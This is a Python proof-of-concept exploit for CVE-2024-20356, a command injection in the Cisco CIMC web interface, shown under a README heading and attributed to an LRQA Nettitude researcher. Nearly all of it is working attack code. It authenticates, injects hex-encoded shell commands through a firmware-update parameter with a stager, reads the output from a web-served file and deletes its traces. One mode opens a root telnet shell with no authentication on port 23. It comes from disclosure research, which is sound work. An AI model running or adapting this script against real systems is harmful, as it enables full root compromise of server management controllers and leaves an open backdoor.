README.md
Rendering markdown...
#!/usr/bin/python3
"""
Exploit for CVE-2024-20356: Command Injection in Cisco CIMC
Aaron Thacker @ LRQA Nettitude 2024
Full details can be found at https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom
This proof-of-concept is for demonstration purposes and should not be used for illegal activities. LRQA Nettitude are not responsible for any damage caused by the use or misuse of this code.
Usage: CVE-2024-20356.py [-h] -t HOST -u USERNAME -p PASSWORD [-a ACTION] [-c CMD] [-v]
options:
-h, --help show this help message and exit
-t HOST, --host HOST target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
-u USERNAME, --username USERNAME
Username (default: admin)
-p PASSWORD, --password PASSWORD
Password (default: cisco)
-a ACTION, --action ACTION
Action: test, cmd, shell, dance (default: test)
-c CMD, --cmd CMD OS command to run (Default: NONE)
-v, --verbose Displays more information about cimc
"""
import Crypto.Random
import Crypto.Cipher
import base64
import hashlib
import hmac
import requests
import urllib3
from Crypto.Cipher import AES
import urllib.parse
import re
import xml.etree.ElementTree as ET
import argparse
import random
import time
# Set to "127.0.0.1:8080" to use a proxy
proxy = None
# derrived from /lib/thirdparty/thirdparty.js
def hashFnv32(a, b):
b = bytes(b, encoding='ascii')
e = 40389
h = a[0:32]
f = len(h)//4
for i in range (0, f):
e = e ^ ord(a[i])
e = e + (e << 1)
return hmac.new(bytes(str(e), encoding='ascii'), b, hashlib.sha512).hexdigest()
# derrived from /lib/thirdparty/thirdparty.js
def keyFnv32(a):
e = 40389
h = a[0:32]
f = len(h)//4
for i in range (0, f):
e = e ^ ord(a[i])
e = e + (e << 1)
e = str(e)
return e
# derrived from CryptoJS
def derive_key_and_iv(secret):
salt = Crypto.Random.new().read(8)
secret = bytes(secret, encoding='ascii')
keylen = 32
ivlen = 16
secret += salt
k = hashlib.md5(secret).digest()
w = k
while len(w) < (keylen + ivlen):
k = hashlib.md5(k + secret).digest()
w += k
return w[:keylen], w[keylen:keylen+ivlen], salt
def pad(data):
BLOCK_SIZE = 16
return data+(BLOCK_SIZE-len(data)%BLOCK_SIZE)*chr(BLOCK_SIZE-len(data)%BLOCK_SIZE)
# derrived from CryptoJS
def encrypt(username, password):
secret = str(keyFnv32(username))
msg = password
key, iv, salt = derive_key_and_iv(secret)
aes = Crypto.Cipher.AES.new(key, Crypto.Cipher.AES.MODE_CBC, iv)
padded_msg = bytes(pad(msg), encoding='ascii')
encrypted_msg = aes.encrypt(padded_msg)
return base64.b64encode(b"Salted__" + salt + encrypted_msg)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def headers():
print("""
_____ _____ _____ _____
/ ____|_ _|/ ____|/ ____|
| | | | | (___ | | _____ ___ __
| | | | \___ \| | / _ \ \ /\ / / '_ \
| |____ _| |_ ____) | |___| (_) \ V V /| | | |
\_____|_____|_____/ \_____\___/ \_/\_/ |_| |_|
""")
print("~ Because every vulnerability needs a cool tool")
print("~ AThacker @ LRQA Nettitude | v1.0\n")
print("This proof-of-concept is for demonstration purposes and should not be used for illegal activities.\nLRQA Nettitude are not responsible for any damage caused by the use or misuse of this code.")
def login(target, username, password):
enc_password = encrypt(username, password)
req = requests.post(f"https://{target}/data/login",
headers={'Referer':f'https://{target}/login.html','Accept-Encoding': 'identity'},
proxies={"https":proxy,"http":proxy},
verify=False,
data={"user":username,"password":enc_password}
)
root = ET.fromstring(req.content)
if root.find('authResult').text == '0':
sidValue = root.find('sidValue').text
adminUser = True if root.find('adminUser').text == '1' else False
cookieValue = re.search('sessionCookie=([a-z0-9]{32});', req.headers['Set-Cookie']).group(1)
print(f"sidValue: {sidValue[0:8]}XXXXXXXXXXXXXXXXXXXXXXXX")
print(f"cookieValue: {cookieValue[0:8]}XXXXXXXXXXXXXXXXXXXXXXXX")
print(f"Admin user: {adminUser}")
return (True, cookieValue, sidValue, adminUser)
else:
return (False, None, None, None)
def logout(target, sidValue):
print(f"Logging out: {sidValue[0:8]}XXXXXXXXXXXXXXXXXXXXXXXX")
req = requests.post(f"https://{target}/data/logout",
headers={'Referer':f'https://{target}/index.html','Accept-Encoding': 'identity'},
proxies={"https":proxy,"http":proxy},
verify=False,
data={"sessionID":sidValue}
)
return None
def query(target, cookieValue, sidValue, input_cmd):
res = query_raw(target, cookieValue, sidValue, input_cmd)
return ET.fromstring(res.content)
def query_raw(target, cookieValue, sidValue, input_cmd):
cmd = urllib.parse.quote(input_cmd)
res = requests.post(f"https://{target}/data",
headers={'Referer':f'https://{target}/index.html','Cookie':f'sessionCookie={cookieValue}','Cspg_var':hashFnv32(sidValue ,input_cmd),'Accept-Encoding': 'identity'},
proxies={"https":proxy,"http":proxy},
verify=False,
data={"sessionID":sidValue,"queryString":cmd}
)
return res
def get_host_info(target, lreq):
resp = query(target, lreq[1], lreq[2], 'get=sessionData')
if resp.find("status").text == "ok":
sessionData = resp.find("sessionData")
print(f'cimcIp: {resp.find("cimcIp").text}')
print(f'lzt: {sessionData.find("lzt").text}')
print(f'sysPlatformId: {sessionData.find("sysPlatformId").text}')
print(f'sessionId: {sessionData.find("sessionId").text}')
print(f'canClearLogs: {sessionData.find("canClearLogs").text}')
print(f'canAccessKvm: {sessionData.find("canAccessKvm").text}')
print(f'canExecServerControl: {sessionData.find("canExecServerControl").text}')
print(f'canConfig: {sessionData.find("canConfig").text}')
print(f'intersightMode: {sessionData.find("intersightMode").text}')
return resp
else:
print(resp.find("status").text)
raise Exception("sessionData returned weird results")
# v0.2 exec code
def exec(target, lreq, command):
out_file = '/usr/local/www/in.html'
tmp_cmd_file = '/tmp/cmd.sh'
stager_cmd = f'sh < {tmp_cmd_file} > {out_file} 2>&1 || true'
stager_cmd_file = '/tmp/stager.sh'
MAX_COMMAND_LENGTH = 100
command_split = [command[i:i+MAX_COMMAND_LENGTH] for i in range(0, len(command), MAX_COMMAND_LENGTH)]
query_raw(target, lreq[1], lreq[2], f'set=expRemoteFwUpdate("1", "http","","$( >{tmp_cmd_file})")')
for i_cmd in command_split:
encoded_command = "\\\\x"+"\\\\x".join("{:02x}".format(ord(s)) for s in i_cmd)
query_raw(target, lreq[1], lreq[2], f'set=expRemoteFwUpdate("1", "http","","$(echo -n -e \"{encoded_command}\" >> {tmp_cmd_file})")')
encoded_command = "\\\\x"+"\\\\x".join("{:02x}".format(ord(s)) for s in stager_cmd)
query_raw(target, lreq[1], lreq[2], f'set=expRemoteFwUpdate("1", "http","","$(echo -n -e \"{encoded_command}\" > {stager_cmd_file})")')
query_raw(target, lreq[1], lreq[2], f'set=expRemoteFwUpdate("1", "http","","$(sh {stager_cmd_file})")')
web_file = out_file.split('/')[-1:][0]
res = requests.get(f"https://{target}/{web_file}",
headers={'Referer':f'https://{target}/index.html','Accept-Encoding': 'identity'},
proxies={"https":proxy,"http":proxy},
verify=False,
stream=True
)
if res.status_code == 200:
query_raw(target, lreq[1], lreq[2], f'set=expRemoteFwUpdate("1", "http","","$(rm -f {tmp_cmd_file} {stager_cmd_file} {out_file})")')
out = res.raw.read()
return str(out, encoding='utf-8')
else:
return None
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-t","--host", type=str, help="Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)", required=True)
parser.add_argument("-u","--username", type=str, default="admin", help="Username (default: admin)", required=True)
parser.add_argument("-p","--password", type=str, default="cisco", help="Password (default: cisco)", required=True)
parser.add_argument("-a","--action", type=str, default="test", help="Action: test, cmd, shell, dance💡 (default: test)")
parser.add_argument("-c","--cmd", type=str, default="", help="OS command to run (Default: NONE)")
parser.add_argument("-v","--verbose", default=False, action='store_true', help="Displays more information about cimc")
args = parser.parse_args()
if not args.cmd == "":
args.action = "cmd"
headers()
print("")
print(f"Attempting login as: {args.username}\n")
lreq = login(args.host, args.username, args.password)
if lreq[0]:
print("Login: successful\n")
if args.verbose:
print("Gathering CIMC info:")
get_host_info(args.host,lreq)
print("")
if args.action == "test":
print("Action: test")
test_num = random.randint(1111,9999)
test_results = exec(args.host, lreq, f'echo -n {str(test_num)}')
if test_results:
if (str(test_num) in str(test_results)):
print(f"🟩 Success! {test_num} given, {str(test_results)} returned")
else:
print("🟥 Could not exploit the vulnerability! Response file exists but output does not match")
else:
print("🟥 Could not exploit the vulnerability! Could not see output on web server")
elif args.action == "cmd":
print(f"Action: cmd")
print(f"CIMC:/$ {args.cmd}")
out = exec(args.host, lreq, args.cmd)
if out:
print(out)
else:
print("Something went wrong")
elif args.action == "shell":
print(f"Action: shell")
print("Warning: This will open up port 23 on the Cisco CIMC interface connected to the network.\nThe shell will provide root access with NO authentication.")
c = input("Type 'y' to continue: ")
if c.lower() == "y" or c.lower() == "yes":
print(f"CIMC:/$ busybox telnetd -l /bin/sh -p 23\n")
exec(args.host, lreq, "busybox telnetd -l /bin/sh -p 23")
print(f"Please run: telnet {args.host}")
else:
print("Confirmation not provided")
elif args.action == "dance":
exec(args.host, lreq, "sh -c 'for i in 1 2 3 4 5 6 7 8 9 10; do /etc/plumas1/etc/scripts/LED.sh ON && sleep 0.1 && /etc/plumas1/etc/scripts/LED.sh OFF && sleep 0.1; done'") # only works with exec v0.2
print("\\^o^/", end="\r")
for i in range(0, 8):
print("\\^o^/", end="\r")
time.sleep(0.5)
print("/^o^\\", end="\r")
time.sleep(0.5)
print("/^o^\\")
else:
print("Action: unknown")
logout(args.host, lreq[2])
else:
print("Login: unsuccessful")